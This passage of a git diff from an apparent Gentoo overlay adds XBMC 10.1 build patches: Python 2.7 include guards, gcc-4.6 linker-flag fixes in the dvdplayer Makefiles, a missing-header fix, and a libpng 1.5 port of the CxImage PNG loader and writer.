#include "config.h" + #endif + #if (defined USE_EXTERNAL_PYTHON) +- #if (defined HAVE_LIBPYTHON2_6) ++ #if (defined HAVE_LIBPYTHON2_7) ++ #include ++ #elif (defined HAVE_LIBPYTHON2_6) + #include + #elif (defined HAVE_LIBPYTHON2_5) + #include +diff --git a/xbmc/lib/libPython/xbmcmodule/keyboard.h b/xbmc/lib/libPython/xbmcmodule/keyboard.h +index e5c817f..0f069e3 100644 +--- a/xbmc/lib/libPython/xbmcmodule/keyboard.h ++++ b/xbmc/lib/libPython/xbmcmodule/keyboard.h +@@ -23,7 +23,9 @@ + #include "config.h" + #endif + #if (defined USE_EXTERNAL_PYTHON) +- #if (defined HAVE_LIBPYTHON2_6) ++ #if (defined HAVE_LIBPYTHON2_7) ++ #include ++ #elif (defined HAVE_LIBPYTHON2_6) + #include + #elif (defined HAVE_LIBPYTHON2_5) + #include +diff --git a/xbmc/lib/libPython/xbmcmodule/listitem.cpp b/xbmc/lib/libPython/xbmcmodule/listitem.cpp +index 137436e..20105ef 100644 +--- a/xbmc/lib/libPython/xbmcmodule/listitem.cpp ++++ b/xbmc/lib/libPython/xbmcmodule/listitem.cpp +@@ -23,7 +23,9 @@ + #include "config.h" + #endif + #if (defined USE_EXTERNAL_PYTHON) +- #if (defined HAVE_LIBPYTHON2_6) ++ #if (defined HAVE_LIBPYTHON2_7) ++ #include ++ #elif (defined HAVE_LIBPYTHON2_6) + #include + #elif (defined HAVE_LIBPYTHON2_5) + #include +diff --git a/xbmc/lib/libPython/xbmcmodule/listitem.h b/xbmc/lib/libPython/xbmcmodule/listitem.h +index 7ebcd6c..3d4a6c8 100644 +--- a/xbmc/lib/libPython/xbmcmodule/listitem.h ++++ b/xbmc/lib/libPython/xbmcmodule/listitem.h +@@ -25,7 +25,9 @@ + #include "config.h" + #endif + #if (defined USE_EXTERNAL_PYTHON) +- #if (defined HAVE_LIBPYTHON2_6) ++ #if (defined HAVE_LIBPYTHON2_7) ++ #include ++ #elif (defined HAVE_LIBPYTHON2_6) + #include + #elif (defined HAVE_LIBPYTHON2_5) + #include +diff --git a/xbmc/lib/libPython/xbmcmodule/player.h b/xbmc/lib/libPython/xbmcmodule/player.h +index 48dc9c7..34a102d 100644 +--- a/xbmc/lib/libPython/xbmcmodule/player.h ++++ b/xbmc/lib/libPython/xbmcmodule/player.h +@@ -23,7 +23,9 @@ + #include "config.h" + #endif + #if (defined USE_EXTERNAL_PYTHON) +- #if (defined HAVE_LIBPYTHON2_6) ++ #if (defined HAVE_LIBPYTHON2_7) ++ #include ++ #elif (defined HAVE_LIBPYTHON2_6) + #include + #elif (defined HAVE_LIBPYTHON2_5) + #include +diff --git a/xbmc/lib/libPython/xbmcmodule/pyplaylist.cpp b/xbmc/lib/libPython/xbmcmodule/pyplaylist.cpp +index c7e7f62..6df8548 100644 +--- a/xbmc/lib/libPython/xbmcmodule/pyplaylist.cpp ++++ b/xbmc/lib/libPython/xbmcmodule/pyplaylist.cpp +@@ -26,7 +26,9 @@ + #include "Util.h" + #include "pyplaylist.h" + #if (defined USE_EXTERNAL_PYTHON) +- #if (defined HAVE_LIBPYTHON2_6) ++ #if (defined HAVE_LIBPYTHON2_7) ++ #include ++ #elif (defined HAVE_LIBPYTHON2_6) + #include + #elif (defined HAVE_LIBPYTHON2_5) + #include +diff --git a/xbmc/lib/libPython/xbmcmodule/pyplaylist.h b/xbmc/lib/libPython/xbmcmodule/pyplaylist.h +index f2334bb..2410314 100644 +--- a/xbmc/lib/libPython/xbmcmodule/pyplaylist.h ++++ b/xbmc/lib/libPython/xbmcmodule/pyplaylist.h +@@ -25,7 +25,9 @@ + #include "config.h" + #endif + #if (defined USE_EXTERNAL_PYTHON) +- #if (defined HAVE_LIBPYTHON2_6) ++ #if (defined HAVE_LIBPYTHON2_7) ++ #include ++ #elif (defined HAVE_LIBPYTHON2_6) + #include + #elif (defined HAVE_LIBPYTHON2_5) + #include +diff --git a/xbmc/lib/libPython/xbmcmodule/pyutil.h b/xbmc/lib/libPython/xbmcmodule/pyutil.h +index 4acf6e5..1a156f8 100644 +--- a/xbmc/lib/libPython/xbmcmodule/pyutil.h ++++ b/xbmc/lib/libPython/xbmcmodule/pyutil.h +@@ -25,7 +25,9 @@ + #include "config.h" + #endif + #if (defined USE_EXTERNAL_PYTHON) +- #if (defined HAVE_LIBPYTHON2_6) ++ #if (defined HAVE_LIBPYTHON2_7) ++ #include ++ #elif (defined HAVE_LIBPYTHON2_6) + #include + #elif (defined HAVE_LIBPYTHON2_5) + #include +diff --git a/xbmc/lib/libPython/xbmcmodule/window.h b/xbmc/lib/libPython/xbmcmodule/window.h +index 6ce8e72..40304ff 100644 +--- a/xbmc/lib/libPython/xbmcmodule/window.h ++++ b/xbmc/lib/libPython/xbmcmodule/window.h +@@ -23,7 +23,9 @@ + #include "config.h" + #endif + #if (defined USE_EXTERNAL_PYTHON) +- #if (defined HAVE_LIBPYTHON2_6) ++ #if (defined HAVE_LIBPYTHON2_7) ++ #include ++ #elif (defined HAVE_LIBPYTHON2_6) + #include + #elif (defined HAVE_LIBPYTHON2_5) + #include +diff --git a/xbmc/lib/libPython/xbmcmodule/winxml.cpp b/xbmc/lib/libPython/xbmcmodule/winxml.cpp +index d3b703f..3e1b3c8 100644 +--- a/xbmc/lib/libPython/xbmcmodule/winxml.cpp ++++ b/xbmc/lib/libPython/xbmcmodule/winxml.cpp +@@ -24,7 +24,9 @@ + #endif + #include "winxml.h" + #if (defined USE_EXTERNAL_PYTHON) +- #if (defined HAVE_LIBPYTHON2_6) ++ #if (defined HAVE_LIBPYTHON2_7) ++ #include ++ #elif (defined HAVE_LIBPYTHON2_6) + #include + #elif (defined HAVE_LIBPYTHON2_5) + #include +diff --git a/xbmc/lib/libPython/xbmcmodule/winxml.h b/xbmc/lib/libPython/xbmcmodule/winxml.h +index 6e6489e..f3a8dd8 100644 +--- a/xbmc/lib/libPython/xbmcmodule/winxml.h ++++ b/xbmc/lib/libPython/xbmcmodule/winxml.h +@@ -23,7 +23,9 @@ + #include "config.h" + #endif + #if (defined USE_EXTERNAL_PYTHON) +- #if (defined HAVE_LIBPYTHON2_6) ++ #if (defined HAVE_LIBPYTHON2_7) ++ #include ++ #elif (defined HAVE_LIBPYTHON2_6) + #include + #elif (defined HAVE_LIBPYTHON2_5) + #include +diff --git a/xbmc/lib/libPython/xbmcmodule/winxmldialog.cpp b/xbmc/lib/libPython/xbmcmodule/winxmldialog.cpp +index b021501..92d9903 100644 +--- a/xbmc/lib/libPython/xbmcmodule/winxmldialog.cpp ++++ b/xbmc/lib/libPython/xbmcmodule/winxmldialog.cpp +@@ -24,7 +24,9 @@ + #endif + #include "winxml.h" + #if (defined USE_EXTERNAL_PYTHON) +- #if (defined HAVE_LIBPYTHON2_6) ++ #if (defined HAVE_LIBPYTHON2_7) ++ #include ++ #elif (defined HAVE_LIBPYTHON2_6) + #include + #elif (defined HAVE_LIBPYTHON2_5) + #include +diff --git a/xbmc/lib/libPython/xbmcmodule/xbmcaddonmodule.cpp b/xbmc/lib/libPython/xbmcmodule/xbmcaddonmodule.cpp +index b8bc0a3..c65aded 100644 +--- a/xbmc/lib/libPython/xbmcmodule/xbmcaddonmodule.cpp ++++ b/xbmc/lib/libPython/xbmcmodule/xbmcaddonmodule.cpp +@@ -23,7 +23,9 @@ + #include "config.h" + #endif + #if (defined USE_EXTERNAL_PYTHON) +- #if (defined HAVE_LIBPYTHON2_6) ++ #if (defined HAVE_LIBPYTHON2_7) ++ #include ++ #elif (defined HAVE_LIBPYTHON2_6) + #include + #elif (defined HAVE_LIBPYTHON2_5) + #include +diff --git a/xbmc/lib/libPython/xbmcmodule/xbmcguimodule.cpp b/xbmc/lib/libPython/xbmcmodule/xbmcguimodule.cpp +index 87c0ead..9941769 100644 +--- a/xbmc/lib/libPython/xbmcmodule/xbmcguimodule.cpp ++++ b/xbmc/lib/libPython/xbmcmodule/xbmcguimodule.cpp +@@ -23,7 +23,10 @@ + #include "config.h" + #endif + #if (defined USE_EXTERNAL_PYTHON) +- #if (defined HAVE_LIBPYTHON2_6) ++ #if (defined HAVE_LIBPYTHON2_7) ++ #include ++ #include ++ #elif (defined HAVE_LIBPYTHON2_6) + #include + #include + #elif (defined HAVE_LIBPYTHON2_5) +diff --git a/xbmc/lib/libPython/xbmcmodule/xbmcmodule.cpp b/xbmc/lib/libPython/xbmcmodule/xbmcmodule.cpp +index 3bab5a9..1e2c480 100644 +--- a/xbmc/lib/libPython/xbmcmodule/xbmcmodule.cpp ++++ b/xbmc/lib/libPython/xbmcmodule/xbmcmodule.cpp +@@ -23,7 +23,9 @@ + #include "config.h" + #endif + #if (defined USE_EXTERNAL_PYTHON) +- #if (defined HAVE_LIBPYTHON2_6) ++ #if (defined HAVE_LIBPYTHON2_7) ++ #include ++ #elif (defined HAVE_LIBPYTHON2_6) + #include + #elif (defined HAVE_LIBPYTHON2_5) + #include +-- +1.7.3.1 + diff --git a/media-tv/xbmc/files/xbmc-10.1-gcc-4.6.patch b/media-tv/xbmc/files/xbmc-10.1-gcc-4.6.patch new file mode 100644 index 00000000..b3e8c7c2 --- /dev/null +++ b/media-tv/xbmc/files/xbmc-10.1-gcc-4.6.patch @@ -0,0 +1,100 @@ +http://trac.xbmc.org/ticket/11383 +http://bugs.gentoo.org/367261 + +From c66099c4d8e6b2d748ca3ddc31ee90b731d0f620 Mon Sep 17 00:00:00 2001 +From: Stephan Raue +Date: Wed, 30 Mar 2011 14:57:28 +0200 +Subject: [PATCH] dvdplayer: fix build with gcc-4.6. Flags to the Linker must be passed via -Wl,. This fixes ticket #11383 + +Signed-off-by: Stephan Raue +--- + xbmc/cores/dvdplayer/Codecs/Makefile.in | 18 +++++++++--------- + xbmc/cores/dvdplayer/Codecs/libdvd/Makefile.in | 4 ++-- + 2 files changed, 11 insertions(+), 11 deletions(-) + +diff --git a/xbmc/cores/dvdplayer/Codecs/Makefile.in b/xbmc/cores/dvdplayer/Codecs/Makefile.in +index a7ef1a0..308664a 100644 +--- a/xbmc/cores/dvdplayer/Codecs/Makefile.in ++++ b/xbmc/cores/dvdplayer/Codecs/Makefile.in +@@ -148,32 +148,32 @@ liba52: + else + + $(SYSDIR)/avutil-50-$(ARCH).so: ffmpeg/libavutil/libavutil.so +- $(CC) -o $@ $(LDFLAGS) --soname,$@ -Wl,-Bsymbolic \ ++ $(CC) -o $@ $(LDFLAGS) -Wl,--soname,$@ -Wl,-Bsymbolic \ + ffmpeg/libavutil/*.o `cat $(WRAPPER:.o=.def)` $(WRAPPER) + + $(SYSDIR)/avcodec-52-$(ARCH).so: $(WRAPPER) ffmpeg/libavcodec/libavcodec.so +- $(CC) -o $@ $(LDFLAGS) --soname,$@ -Wl,-Bsymbolic \ ++ $(CC) -o $@ $(LDFLAGS) -Wl,--soname,$@ -Wl,-Bsymbolic \ + ffmpeg/libavcodec/*.o ffmpeg/libavcodec/$(ARCH_DIR)/*.o \ + `cat $(WRAPPER:.o=.def)` $(WRAPPER) + + $(SYSDIR)/avformat-52-$(ARCH).so: $(WRAPPER) ffmpeg/libavformat/libavformat.so +- $(CC) -o $@ $(LDFLAGS) --soname,$@ -Wl,-Bsymbolic \ ++ $(CC) -o $@ $(LDFLAGS) -Wl,--soname,$@ -Wl,-Bsymbolic \ + ffmpeg/libavformat/*.o `cat $(WRAPPER:.o=.def)` $(WRAPPER) + + ifneq ($(ARCH), arm) + $(SYSDIR)/swscale-0.6.1-$(ARCH).so: $(WRAPPER) ffmpeg/libswscale/libswscale.so +- $(CC) -o $@ $(LDFLAGS) --soname,$@ -Wl,-Bsymbolic \ ++ $(CC) -o $@ $(LDFLAGS) -Wl,--soname,$@ -Wl,-Bsymbolic \ + ffmpeg/libswscale/*.o ffmpeg/libswscale/$(ARCH_DIR)/*.o \ + `cat $(WRAPPER:.o=.def)` $(WRAPPER) + else # No ARM version of swscale available yet. + $(SYSDIR)/swscale-0.6.1-$(ARCH).so: $(WRAPPER) ffmpeg/libswscale/libswscale.so +- $(CC) -o $@ $(LDFLAGS) --soname,$@ -Wl,-Bsymbolic \ ++ $(CC) -o $@ $(LDFLAGS) -Wl,--soname,$@ -Wl,-Bsymbolic \ + ffmpeg/libswscale/*.o \ + `cat $(WRAPPER:.o=.def)` $(WRAPPER) + endif + + $(SYSDIR)/postproc-51-$(ARCH).so: $(WRAPPER) ffmpeg/libpostproc/libpostproc.so +- $(CC) -o $@ $(LDFLAGS) --soname,$@ -Wl,-Bsymbolic \ ++ $(CC) -o $@ $(LDFLAGS) -Wl,--soname,$@ -Wl,-Bsymbolic \ + ffmpeg/libpostproc/*.o `cat $(WRAPPER:.o=.def)` $(WRAPPER) + + ffmpeg/libavutil/libavutil.so : ffmpeg; +@@ -185,17 +185,17 @@ ffmpeg: + $(MAKE) -C $@ + + $(SYSDIR)/libdts-$(ARCH).so: $(WRAPPER) libdts/libdts/libdts.a +- $(CC) -o $@ $(LDFLAGS) --soname,$@ \ ++ $(CC) -o $@ $(LDFLAGS) -Wl,--soname,$@ \ + libdts/libdts/bitstream.o \ + libdts/libdts/downmix.o libdts/libdts/parse.o \ + `cat $(WRAPPER:.o=.def)` $(WRAPPER) + + $(SYSDIR)/liba52-$(ARCH).so: $(WRAPPER) liba52/liba52/liba52.la +- $(CC) -o $@ $(LDFLAGS) --soname,$@ liba52/liba52/.libs/*.o \ ++ $(CC) -o $@ $(LDFLAGS) -Wl,--soname,$@ liba52/liba52/.libs/*.o \ + -Wl`cat $(WRAPPER:.o=.def)` $(WRAPPER) + + $(SYSDIR)/libao-$(ARCH).so: $(WRAPPER) liba52/libao/libao.a +- $(CC) -o $@ $(LDFLAGS) --soname,$@ liba52/libao/libao.a \ ++ $(CC) -o $@ $(LDFLAGS) -Wl,--soname,$@ liba52/libao/libao.a \ + -Wl`cat $(WRAPPER:.o=.def)` $(WRAPPER) + + libdts/libdts/libdts.a : libdts; +diff --git a/xbmc/cores/dvdplayer/Codecs/libdvd/Makefile.in b/xbmc/cores/dvdplayer/Codecs/libdvd/Makefile.in +index 3c487e9..6d4abd4 100644 +--- a/xbmc/cores/dvdplayer/Codecs/libdvd/Makefile.in ++++ b/xbmc/cores/dvdplayer/Codecs/libdvd/Makefile.in +@@ -49,12 +49,12 @@ $(SYSDIR)/libdvdnav-$(ARCH).so: $(WRAPPER_OSX) $(DVDCSS_A) libdvdread/obj/libdvd + else + + $(SYSDIR)/libdvdcss-$(ARCH).so: $(WRAPPER) libdvdcss/src/.libs/libdvdcss.a +- $(CC) -o $@ $(LDFLAGS) --soname,$@ \ ++ $(CC) -o $@ $(LDFLAGS) -Wl,--soname,$@ \ + libdvdcss/src/*.o \ + `cat $(WRAPPER:.o=.def)` $(WRAPPER) + + $(SYSDIR)/libdvdnav-$(ARCH).so: $(WRAPPER) $(DVDCSS_A) libdvdread/obj/libdvdread.a libdvdnav/obj/libdvdnav.a +- $(CC) -o $@ $(LDFLAGS) --soname,$@ $(DVDCSS_O) libdvdread/obj/*.o libdvdnav/obj/*.o \ ++ $(CC) -o $@ $(LDFLAGS) -Wl,--soname,$@ $(DVDCSS_O) libdvdread/obj/*.o libdvdnav/obj/*.o \ + `cat $(WRAPPER:.o=.def)` $(WRAPPER) + + endif +-- +1.7.0.2 + diff --git a/media-tv/xbmc/files/xbmc-10.1-headers.patch b/media-tv/xbmc/files/xbmc-10.1-headers.patch new file mode 100644 index 00000000..8c23db86 --- /dev/null +++ b/media-tv/xbmc/files/xbmc-10.1-headers.patch @@ -0,0 +1,10 @@ +--- a/tools/TexturePacker/XBTFWriter.cpp ++++ b/tools/TexturePacker/XBTFWriter.cpp +@@ -28,6 +28,7 @@ + #include "EndianSwap.h" + #define __STDC_FORMAT_MACROS + #include ++#include /* for unlink() prototype */ + + #define TEMP_FILE "temp.xbt" + #define TEMP_SIZE (10*1024*1024) diff --git a/media-tv/xbmc/files/xbmc-10.1-libpng-1.5.patch b/media-tv/xbmc/files/xbmc-10.1-libpng-1.5.patch new file mode 100644 index 00000000..4d992275 --- /dev/null +++ b/media-tv/xbmc/files/xbmc-10.1-libpng-1.5.patch @@ -0,0 +1,596 @@ +fix building with newer libpng. patch by Ian Stakenvicius. + +https://bugs.gentoo.org/380127 + +--- a/xbmc/lib/cximage-6.0/CxImage/ximapng.h ++++ b/xbmc/lib/cximage-6.0/CxImage/ximapng.h +@@ -69,8 +69,13 @@ + + static void PNGAPI user_error_fn(png_structp png_ptr,png_const_charp error_msg) + { ++#if PNG_LIBPNG_VER > 10399 ++ strncpy((char*)png_get_error_ptr(png_ptr),error_msg,255); ++ longjmp(png_jmpbuf(png_ptr), 1); ++#else + strncpy((char*)png_ptr->error_ptr,error_msg,255); + longjmp(png_ptr->jmpbuf, 1); ++#endif + } + }; + +--- a/xbmc/lib/cximage-6.0/CxImage/ximapng.cpp ++++ b/xbmc/lib/cximage-6.0/CxImage/ximapng.cpp +@@ -15,7 +15,11 @@ + void CxImagePNG::ima_png_error(png_struct *png_ptr, char *message) + { + strcpy(info.szLastError,message); ++#if PNG_LIBPNG_VER > 10399 ++ longjmp(png_jmpbuf(png_ptr), 1); ++#else + longjmp(png_ptr->jmpbuf, 1); ++#endif + } + //////////////////////////////////////////////////////////////////////////////// + #if CXIMAGE_SUPPORT_DECODE +@@ -62,7 +66,11 @@ + /* Set error handling if you are using the setjmp/longjmp method (this is + * the normal method of doing things with libpng). REQUIRED unless you + * set up your own error handlers in the png_create_read_struct() earlier. */ ++#if PNG_LIBPNG_VER > 10399 ++ if (setjmp(png_jmpbuf(png_ptr))) { ++#else + if (setjmp(png_ptr->jmpbuf)) { ++#endif + /* Free all of the memory associated with the png_ptr and info_ptr */ + delete [] row_pointers; + png_destroy_read_struct(&png_ptr, &info_ptr, (png_infopp)NULL); +@@ -70,16 +78,35 @@ + /* read the file information */ + png_read_info(png_ptr, info_ptr); + ++ png_uint_32 _width,_height; ++ int _bit_depth,_color_type,_interlace_type,_compression_type,_filter_type; ++#if PNG_LIBPNG_VER > 10399 ++ png_get_IHDR(png_ptr,info_ptr,&_width,&_height,&_bit_depth,&_color_type, ++ &_interlace_type,&_compression_type,&_filter_type); ++#else ++ _width=info_ptr->width; ++ _height=info_ptr->height; ++ _bit_depth=info_ptr->bit_depth; ++ _color_type=info_ptr->color_type; ++ _interlace_type=info_ptr->interlace_type; ++ _compression_type=info_ptr->compression_type; ++ _filter_type=info_ptr->filter_type; ++#endif ++ + if (info.nEscape == -1){ +- head.biWidth = info_ptr->width; +- head.biHeight= info_ptr->height; ++ head.biWidth = _width; ++ head.biHeight= _height; + info.dwType = CXIMAGE_FORMAT_PNG; ++#if PNG_LIBPNG_VER > 10399 ++ longjmp(png_jmpbuf(png_ptr), 1); ++#else + longjmp(png_ptr->jmpbuf, 1); ++#endif + } + + /* calculate new number of channels */ + int channels=0; +- switch(info_ptr->color_type){ ++ switch(_color_type){ + case PNG_COLOR_TYPE_GRAY: + case PNG_COLOR_TYPE_PALETTE: + channels = 1; +@@ -101,71 +128,108 @@ + break; + default: + strcpy(info.szLastError,"unknown PNG color type"); ++#if PNG_LIBPNG_VER > 10399 ++ longjmp(png_jmpbuf(png_ptr), 1); ++#else + longjmp(png_ptr->jmpbuf, 1); ++#endif + } + + //find the right pixel depth used for cximage ++#if PNG_LIBPNG_VER > 10399 ++ int pixel_depth = _bit_depth * png_get_channels(png_ptr,info_ptr); ++#else + int pixel_depth = info_ptr->pixel_depth; ++#endif + if (channels == 1 && pixel_depth>8) pixel_depth=8; + if (channels == 2) pixel_depth=8; + if (channels >= 3) pixel_depth=24; + +- if (!Create(info_ptr->width, info_ptr->height, pixel_depth, CXIMAGE_FORMAT_PNG)){ ++ if (!Create(_width, _height, pixel_depth, CXIMAGE_FORMAT_PNG)){ ++#if PNG_LIBPNG_VER > 10399 ++ longjmp(png_jmpbuf(png_ptr), 1); ++#else + longjmp(png_ptr->jmpbuf, 1); ++#endif + } + + /* get metrics */ +- switch (info_ptr->phys_unit_type) ++ png_uint_32 _x_pixels_per_unit,_y_pixels_per_unit; ++ int _phys_unit_type; ++#if PNG_LIBPNG_VER > 10399 ++ png_get_pHYs(png_ptr,info_ptr,&_x_pixels_per_unit,&_y_pixels_per_unit,&_phys_unit_type); ++#else ++ _x_pixels_per_unit=info_ptr->x_pixels_per_unit; ++ _y_pixels_per_unit=info_ptr->y_pixels_per_unit; ++ _phys_unit_type=info_ptr->phys_unit_type; ++#endif ++ switch (_phys_unit_type) + { + case PNG_RESOLUTION_UNKNOWN: +- SetXDPI(info_ptr->x_pixels_per_unit); +- SetYDPI(info_ptr->y_pixels_per_unit); ++ SetXDPI(_x_pixels_per_unit); ++ SetYDPI(_y_pixels_per_unit); + break; + case PNG_RESOLUTION_METER: +- SetXDPI((long)floor(info_ptr->x_pixels_per_unit * 254.0 / 10000.0 + 0.5)); +- SetYDPI((long)floor(info_ptr->y_pixels_per_unit * 254.0 / 10000.0 + 0.5)); ++ SetXDPI((long)floor(_x_pixels_per_unit * 254.0 / 10000.0 + 0.5)); ++ SetYDPI((long)floor(_y_pixels_per_unit * 254.0 / 10000.0 + 0.5)); + break; + } + +- if (info_ptr->num_palette>0){ +- SetPalette((rgb_color*)info_ptr->palette,info_ptr->num_palette); +- SetClrImportant(info_ptr->num_palette); +- } else if (info_ptr->bit_depth ==2) { // needed for 2 bpp grayscale PNGs ++ int _num_palette; ++ png_colorp _palette; ++#if PNG_LIBPNG_VER > 10399 ++ png_get_PLTE(png_ptr,info_ptr,&_palette,&_num_palette); ++#else ++ _num_palette=info_ptr->num_palette; ++ _palette=info_ptr->palette; ++#endif ++ if (_num_palette>0){ ++ SetPalette((rgb_color*)_palette,_num_palette); ++ SetClrImportant(_num_palette); ++ } else if (_bit_depth ==2) { // needed for 2 bpp grayscale PNGs + SetPaletteColor(0,0,0,0); + SetPaletteColor(1,85,85,85); + SetPaletteColor(2,170,170,170); + SetPaletteColor(3,255,255,255); + } else SetGrayPalette(); // needed for grayscale PNGs + +- int nshift = max(0,(info_ptr->bit_depth>>3)-1)<<3; ++ int nshift = max(0,(_bit_depth>>3)-1)<<3; + +- if (info_ptr->num_trans!=0){ //palette transparency +- if (info_ptr->num_trans==1){ +- if (info_ptr->color_type == PNG_COLOR_TYPE_PALETTE){ ++ png_bytep _trans_alpha; ++ int _num_trans; ++ png_color_16p _trans_color; ++#if PNG_LIBPNG_VER > 10399 ++ png_get_tRNS(png_ptr,info_ptr,&_trans_alpha,&_num_trans,&_trans_color); ++#else ++ _num_trans=info_ptr->num_trans; ++#endif ++ if (_num_trans!=0){ //palette transparency ++ if (_num_trans==1){ ++ if (_color_type == PNG_COLOR_TYPE_PALETTE){ + #if PNG_LIBPNG_VER > 10399 +- info.nBkgndIndex = info_ptr->trans_color.index; ++ info.nBkgndIndex = _trans_color->index; + #else + info.nBkgndIndex = info_ptr->trans_values.index; + #endif + } else{ + #if PNG_LIBPNG_VER > 10399 +- info.nBkgndIndex = info_ptr->trans_color.gray>>nshift; ++ info.nBkgndIndex = _trans_color->gray>>nshift; + #else + info.nBkgndIndex = info_ptr->trans_values.gray>>nshift; + #endif + } + } +- if (info_ptr->num_trans>1){ ++ if (_num_trans>1){ + RGBQUAD* pal=GetPalette(); + if (pal){ + DWORD ip; +- for (ip=0;ipnum_trans);ip++) ++ for (ip=0;ip 10399 +- pal[ip].rgbReserved=info_ptr->trans_alpha[ip]; ++ pal[ip].rgbReserved=_trans_alpha[ip]; + #else + pal[ip].rgbReserved=info_ptr->trans[ip]; + #endif +- for (ip=info_ptr->num_trans;ip 10399 +- info.nBkgndColor.rgbRed = (BYTE)(info_ptr->trans_color.red>>nshift); +- info.nBkgndColor.rgbGreen = (BYTE)(info_ptr->trans_color.green>>nshift); +- info.nBkgndColor.rgbBlue = (BYTE)(info_ptr->trans_color.blue>>nshift); ++ /* seems unnecessary to call again, but the conditional must be important so... */ ++ if (png_get_tRNS(png_ptr,info_ptr,&_trans_alpha,&_num_trans,&_trans_color)){ ++#if PNG_LIBPNG_VER > 10399 ++ info.nBkgndColor.rgbRed = (BYTE)(_trans_color->red>>nshift); ++ info.nBkgndColor.rgbGreen = (BYTE)(_trans_color->green>>nshift); ++ info.nBkgndColor.rgbBlue = (BYTE)(_trans_color->blue>>nshift); + #else + info.nBkgndColor.rgbRed = (BYTE)(info_ptr->trans_values.red>>nshift); + info.nBkgndColor.rgbGreen = (BYTE)(info_ptr->trans_values.green>>nshift); +@@ -202,15 +264,24 @@ + } + + // - flip the RGB pixels to BGR (or RGBA to BGRA) +- if (info_ptr->color_type & PNG_COLOR_MASK_COLOR){ ++ if (_color_type & PNG_COLOR_MASK_COLOR){ + png_set_bgr(png_ptr); + } + + // - handle cancel +- if (info.nEscape) longjmp(png_ptr->jmpbuf, 1); ++ if (info.nEscape) ++#if PNG_LIBPNG_VER > 10399 ++ longjmp(png_jmpbuf(png_ptr), 1); ++#else ++ longjmp(png_ptr->jmpbuf, 1); ++#endif + + // row_bytes is the width x number of channels x (bit-depth / 8) ++#if PNG_LIBPNG_VER > 10399 ++ row_pointers = new BYTE[png_get_rowbytes(png_ptr,info_ptr) + 8]; ++#else + row_pointers = new BYTE[info_ptr->rowbytes + 8]; ++#endif + + // turn on interlace handling + int number_passes = png_set_interlace_handling(png_ptr); +@@ -221,8 +292,12 @@ + SetCodecOption(0); + } + +- int chan_offset = info_ptr->bit_depth >> 3; ++ int chan_offset = _bit_depth >> 3; ++#if PNG_LIBPNG_VER > 10399 ++ int pixel_offset = (_bit_depth * png_get_channels(png_ptr,info_ptr)) >> 3; ++#else + int pixel_offset = info_ptr->pixel_depth >> 3; ++#endif + + for (int pass=0; pass < number_passes; pass++) { + iter.Upset(); +@@ -230,7 +305,12 @@ + do { + + // - handle cancel +- if (info.nEscape) longjmp(png_ptr->jmpbuf, 1); ++ if (info.nEscape) ++#if PNG_LIBPNG_VER > 10399 ++ longjmp(png_jmpbuf(png_ptr), 1); ++#else ++ longjmp(png_ptr->jmpbuf, 1); ++#endif + + #if CXIMAGE_SUPPORT_ALPHA // + if (AlphaIsValid()) { +@@ -241,7 +321,7 @@ + BYTE* prow= iter.GetRow(ay); + + //recover data from previous scan +- if (info_ptr->interlace_type && pass>0 && pass!=7){ ++ if (_interlace_type && pass>0 && pass!=7){ + for(ax=0;axinterlace_type && pass>0){ ++ if (_interlace_type && pass>0){ ++#if PNG_LIBPNG_VER > 10399 ++ iter.GetRow(row_pointers, png_get_rowbytes(png_ptr,info_ptr)); ++#else + iter.GetRow(row_pointers, info_ptr->rowbytes); ++#endif + //re-expand buffer for images with bit depth > 8 +- if (info_ptr->bit_depth > 8){ ++ if (_bit_depth > 8){ + for(long ax=(head.biWidth*channels-1);ax>=0;ax--) + row_pointers[ax*chan_offset] = row_pointers[ax]; + } +@@ -291,15 +375,19 @@ + png_read_row(png_ptr, row_pointers, NULL); + + //shrink 16 bit depth images down to 8 bits +- if (info_ptr->bit_depth > 8){ ++ if (_bit_depth > 8){ + for(long ax=0;ax<(head.biWidth*channels);ax++) + row_pointers[ax] = row_pointers[ax*chan_offset]; + } + + //copy the pixels ++#if PNG_LIBPNG_VER > 10399 ++ iter.SetRow(row_pointers, png_get_rowbytes(png_ptr,info_ptr)); ++#else + iter.SetRow(row_pointers, info_ptr->rowbytes); ++#endif + // expand 2 bpp images only in the last pass +- if (info_ptr->bit_depth==2 && pass==(number_passes-1)) ++ if (_bit_depth==2 && pass==(number_passes-1)) + expand2to4bpp(iter.GetRow()); + + //go on +@@ -361,9 +449,13 @@ + /* Set error handling. REQUIRED if you aren't supplying your own + * error hadnling functions in the png_create_write_struct() call. + */ ++#if PNG_LIBPNG_VER > 10399 ++ if (setjmp(png_jmpbuf(png_ptr))){ ++#else + if (setjmp(png_ptr->jmpbuf)){ + /* If we get here, we had a problem reading the file */ + if (info_ptr->palette) free(info_ptr->palette); ++#endif + png_destroy_write_struct(&png_ptr, (png_infopp)&info_ptr); + cx_throw("Error saving PNG file"); + } +@@ -372,9 +464,23 @@ + //png_init_io(png_ptr, hFile); + + // use custom I/O functions +- png_set_write_fn(png_ptr,hFile,/*(png_rw_ptr)*/user_write_data,/*(png_flush_ptr)*/user_flush_data); ++ png_set_write_fn(png_ptr,hFile,/*(png_rw_ptr)*/user_write_data,/*(png_flush_ptr)*/user_flush_data); + + /* set the file information here */ ++#if PNG_LIBPNG_VER > 10399 ++ /* use variables to hold the values so it isnt necessary to png_get them later */ ++ png_uint_32 _width,_height; ++ int _bit_depth,_color_type,_interlace_type,_compression_type,_filter_type; ++ png_byte _channels,_pixel_depth; ++ ++ _width = GetWidth(); ++ _height = GetHeight(); ++ _pixel_depth = (BYTE)GetBpp(); ++ _channels = (GetBpp()>8) ? (BYTE)3: (BYTE)1; ++ _bit_depth = (BYTE)(GetBpp()/_channels); ++ _compression_type = PNG_COMPRESSION_TYPE_DEFAULT; ++ _filter_type = PNG_FILTER_TYPE_DEFAULT; ++#else + info_ptr->width = GetWidth(); + info_ptr->height = GetHeight(); + info_ptr->pixel_depth = (BYTE)GetBpp(); +@@ -382,13 +488,22 @@ + info_ptr->bit_depth = (BYTE)(GetBpp()/info_ptr->channels); + info_ptr->compression_type = info_ptr->filter_type = 0; + info_ptr->valid = 0; ++#endif + + switch(GetCodecOption(CXIMAGE_FORMAT_PNG)){ + case 1: ++#if PNG_LIBPNG_VER > 10399 ++ _interlace_type = PNG_INTERLACE_ADAM7; ++#else + info_ptr->interlace_type = PNG_INTERLACE_ADAM7; ++#endif + break; + default: ++#if PNG_LIBPNG_VER > 10399 ++ _interlace_type = PNG_INTERLACE_NONE; ++#else + info_ptr->interlace_type = PNG_INTERLACE_NONE; ++#endif + } + + /* set compression level */ +@@ -398,22 